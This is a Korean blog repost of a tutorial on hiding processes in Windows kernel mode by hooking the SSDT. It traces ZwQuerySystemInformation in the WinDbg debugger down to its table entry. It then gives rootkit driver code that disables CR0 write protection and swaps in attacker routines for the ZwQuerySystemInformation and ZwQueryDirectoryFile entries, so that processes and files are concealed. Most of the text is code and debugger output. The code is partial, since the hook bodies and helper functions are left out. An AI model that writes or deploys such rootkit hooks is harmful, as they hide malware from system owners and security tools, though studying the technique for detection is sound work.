출처 :  http://bananamilk-textcube.blogspot.kr/2010/03/ssdt-hooking-%ED%94%84%EB%A1%9C%EC%84%B8%EC%8A%A4-%EC%9D%80%EB%8B%89.html 

프로세스 은닉을 커널모드에서 구현하기 위해 SSDT(System Service Dispatch Table) Hook을 이용해 보겠습니다. 프로세스 정보와 관련된 시스템 함수는 ntdll.dll의ZwQuerySystemInformation() 입니다. 먼저 유저레벨 ZwQuerySystemInformation() 부터 커널레벨 진입점 sysenter 를 지나서 SDT를 참조하는 KiFastCallEntry 까지 따라가 봅니다.

0:001> u ntdll!ZwQuerySystemInformation
ntdll!NtQuerySystemInformation:
7c93d910 b8ad000000      mov     eax,0ADh
7c93d915 ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
7c93d91a ff12            call    dword ptr [edx]
7c93d91c c21000          ret     10h
0:001> dd 7ffe0300
7ffe0300  7c93e4f0 7c93e4f4 00000000 00000000
7ffe0310  00000000 00000000 00000000 00000000
7ffe0320  00000000 00000000 00000000 00000000
7ffe0330  88be7aa1 00000000 00000000 00000000
7ffe0340  00000000 00000000 00000000 00000000
7ffe0350  00000000 00000000 00000000 00000000
7ffe0360  00000000 00000000 00000000 00000000
7ffe0370  00000000 00000000 00000000 00000000
0:001> uf 7c93e4f0
ntdll!KiFastSystemCall:
7c93e4f0 8bd4            mov     edx,esp
7c93e4f2 0f34            sysenter
7c93e4f4 c3              ret
kd> rdmsr 0x176
msr[176] = 00000000`804de6f0
kd> u 804de6f0
nt!KiFastCallEntry:
804de6f0 b923000000      mov     ecx,23h
804de6f5 6a30            push    30h
804de6f7 0fa1            pop     fs
804de6f9 8ed9            mov     ds,cx
804de6fb 8ec1            mov     es,cx
804de6fd 8b0d40f0dfff    mov     ecx,dword ptr ds:[0FFDFF040h]
804de703 8b6104          mov     esp,dword ptr [ecx+4]
804de706 6a23            push    23h
  • SDT(Service Descriptor Table) : SDE를 멤버변수로 가지는 구조체
  • SDE(Service Descriptor Entry) : Native API 정보를 담은 구조체
  • SSDT(System Service Dispatch Table) : 함수 실행을 위한 서비스 인덱스 번호 테이블, KiServiceTable

       typedef struct ServiceDescriptorTable {

              SDE ServiceDescriptor[4];

       } SDT;

 

       typedef struct ServiceDescriptorTable {   // 위의 SDT 구조체 멤버변수(SDE)를 풀어 놓은 것 입니다

              SDE ntoskrnl;             // native api 테이블

              SDE win32k;              // GUI 서브시스템 테이블

              SDE reserved[2];       // Reserved 영역

       } SDT;

 

       typedef struct ServiceDescriptorEntry {

              PDWORD KiServiceTable;             // 함수 테이블(SSDT), KiServiceTable

              PDWORD CounterTableBase;       // 함수 호출 횟수테이블, 디버그 버전에서만 사용됨

              DWORD ServiceLimit;                  // 함수 갯수

              PBYTE ArgumentTable;               // 함수 인자크기 테이블

       } SDE;                                             // KeServiceDescriptorTable

 

일반적인 스레드는 (SDT구조체의)ntoskrnl->KeServiceDescriptorTable 만을 참조하고, GUI 스레드는 (SDT 구조체의)win32k->KeServiceDescriptorTableShadow 를 함께 참조합니다.

 

ntoskrnl의 KeServiceDescriptorTable을 참조하여 SSDT를 찾고 ZwQuerySystemInformation 함수가 호출되는 주소를 따라가 봅니다.

kd> dd KeServiceDescriptorTable
8055a220  804e26a8 00000000 0000011c 80510088
8055a230  00000000 00000000 00000000 00000000
8055a240  00000000 00000000 00000000 00000000
8055a250  00000000 00000000 00000000 00000000
8055a260  00002730 bf80c349 00000000 00000000
8055a270  f8a11a80 f828db60 82259a90 82259a90
8055a280  00000000 00000000 00000000 00000000
8055a290  d4de7a40 01cacc3a 00000000 00000000
kd> dd KiServiceTable
804e26a8  8058fdf3 805756d8 80588d69 8059112e
804e26b8  8058ee53 806380ec 8063a27d 8063a2c6
804e26c8  80573bfe 806490bb 806378a7 8058e471
804e26d8  8062f9e8 8057a76f 80589cf8 8062694d
804e26e8  805dd3c1 80569153 805d975f 805a24ca
804e26f8  804e2cb4 806490cf 805c9b16 804ecfac
804e2708  805697ff 80567a6d 8058e8df 8064e9b0
804e2718  8058aae8 80590b3b 8064ec1d 80588dbb
kd> dd 804e26a8 + 0xAD * 4
804e295c  8057d062 805911b8 805885d6 805853d7
804e296c  8056a382 80570a2c 8056f843 80591089
804e297c  804e203a 8064814b 80576471 805da827
804e298c  8058a899 8057f0a0 8057c4c7 8056647b
804e299c  805892ce 80566f99 8065b316 8064e812
804e29ac  8064f16e 8057e103 8056b9be 8056b4d6
804e29bc  8062331e 8062c13b 805dd5ec 8056da20
804e29cc  8062bf34 8059eb88 8053bbf2 8064ed05
kd> u 8057d062
nt!NtQuerySystemInformation:
8057d062 6810020000      push    210h
8057d067 6840a44e80      push    offset nt!ExTraceAllTables+0x1eb (804ea440)
8057d06c e8ca53f6ff      call    nt!_SEH_prolog (804e243b)
8057d071 33c0            xor     eax,eax
8057d073 8945e4          mov     dword ptr [ebp-1Ch],eax
8057d076 8945dc          mov     dword ptr [ebp-24h],eax
8057d079 8945fc          mov     dword ptr [ebp-4],eax
8057d07c 64a124010000    mov     eax,dword ptr fs:[00000124h]


ZwQuerySystemInformation를 호출하면 커널모드로 진입하여 nt!NtQuerySystemInformation로 흘러들어오게 됩니다. SSDT의 nt!NtQuerySystemInformation 주소가 기록된 번지(804e26a8 + 0xAD * 4)에 공격자가 작성한 코드주소를 덮어쓰면 원하는 목적을 달성할 수 있습니다.

 

* Hook Code 선언부

#pragma pack(1)                                                            // 구조체의 멤버변수 저장크기를 결정(1,2,4,8,16)
typedef struct ServiceDescriptorEntry {                            // SDE(Service DescriptorTable Entry) 구조체 선언
     unsigned int *ServiceTableBase;                               // 함수 테이블(SSDT)
     unsigned int *ServiceCounterTableBase;                   // 함수 호출 횟수테이블, 디버그 버전에서만 사용됨
     unsigned int NumberOfServices;                                // 함수 갯수
     unsigned char *ParamTableBase;                             // 함수 인자크기 테이블
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()                                                             // 구조체의 멤버변수 저장크기를 디폴드로 복원
// SSDT(System Service Descriptor Table) IMPORT => ntoskrnl.exe 에서 EXPORT 한다
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
// SYSTEM_THREADS 구조체 선언
struct _SYSTEM_THREADS
{
      LARGE_INTEGER KernelTime; // 커널모드에서 실행된 총시간 (100ns)
      LARGE_INTEGER UserTime;  // 유저모드에서 실행된 총시간 (100ns)
      LARGE_INTEGER CreateTime; // 생성시각
      ULONG WaitTime;    // 스레드 대기시각
      PVOID StartAddress;   // 스레드 시작주소
      CLIENT_ID ClientIs;   // 
      KPRIORITY Priority;   // 
      KPRIORITY BasePriority;  // 
      ULONG ContextSwitchCount; // 
      ULONG ThreadState;   // 
      KWAIT_REASON WaitReason; // 
};
// SYSTEM_PROCESSES 구조체 선언
struct _SYSTEM_PROCESSES
{
      ULONG NextEntryDelta;    // 다음 SYSTEMPROCESS 주소의 오프셋
      ULONG ThreadCount;     // 스레드 갯수
      ULONG Reserved[6];     // Reserved
      LARGE_INTEGER CreateTime;   // 생성시각
      LARGE_INTEGER UserTime;    // 유저모드에서 실행된 총시간 (100ns)
      LARGE_INTEGER KernelTime;   // 커널모드에서 실행된 총시간 (100ns)
      UNICODE_STRING ProcessName;   // 프로세스 이름
      KPRIORITY BasePriority;    // 권한정보
      ULONG ProcessId;     // 프로세스 ID
      ULONG InheritedFromProcessId;  // 부모 프로세스 ID
      ULONG HandleCount;     // 핸들 갯수
      ULONG Reserved2[2];     // Reserved
      VM_COUNTERS VmCounters;    // 프로세스가 사용하는 가상메모리 상태를 저장
      IO_COUNTERS IoCounters;    // 프로세스가 실행한 IO 카운터 (windows 2000 only)
      struct _SYSTEM_THREADS Threads[1]; // 프로세스 스레드리스트 (SYSTEM_THREAD 구조체로 관리)
};
NTSYSAPI // NTSYSAPI ntdef.h 에서DECLSPEC_IMPORT로 정의
NTSTATUS // 리턴타입
NTAPI   // NTAPI ntdef.h 에서 STDCALL로 정의
ZwQuerySystemInformation(
   IN ULONG SystemInformationClass,
   IN PVOID SystemInformation,
   IN ULONG SystemInformationLength,
   OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
   ULONG SystemInformationCLass,
   PVOID SystemInformation,
   ULONG SystemInformationLength,
   PULONG ReturnLength);
// 기존 함수주소 저장을 위한 변수
ZWQUERYSYSTEMINFORMATION  OldZwQuerySystemInformation;
// CR0 Write Protection 해제 <코드참조>
VOID ClearCr_WP(VOID){}
// CR0 Write Protection 세팅 <코드참조>
VOID SetCr_WP(VOID){}

 

* 드라이버 로드 && 언로드 루틴

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
       // WriteProtection 해제
       ClearCr_WP();
       // 후킹한 SSDT를 복원한다.
       InterlockedExchange((LONG *)Syscall_Ptr(ZwQueryDirectoryFile), (LONG)OldZwQueryDirectoryFile);
       InterlockedExchange((LONG *)Syscall_Ptr(ZwQuerySystemInformation), (LONG)OldZwQuerySystemInformation);
       // WriteProtection 설정
       SetCr_WP();
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath)
{
       theDriverObject->DriverUnload = OnUnload;
       OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)Syscall_Ptr(ZwQueryDirectoryFile);
       OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)Syscall_Ptr(ZwQuerySystemInformation);
       // WriteProtection 해제
       ClearCr_WP();
       // SSDT 후킹
       OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)InterlockedExchange((LONG *)Syscall_Ptr(ZwQueryDirectoryFile), (LONG)NewZwQueryDirectoryFile);
       OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)InterlockedExchange((LONG *)Syscall_Ptr(ZwQuerySystemInformation),(LONG)NewZwQuerySystemInformation);
       // WriteProtection 설정
       SetCr_WP();
       return STATUS_SUCCESS;
}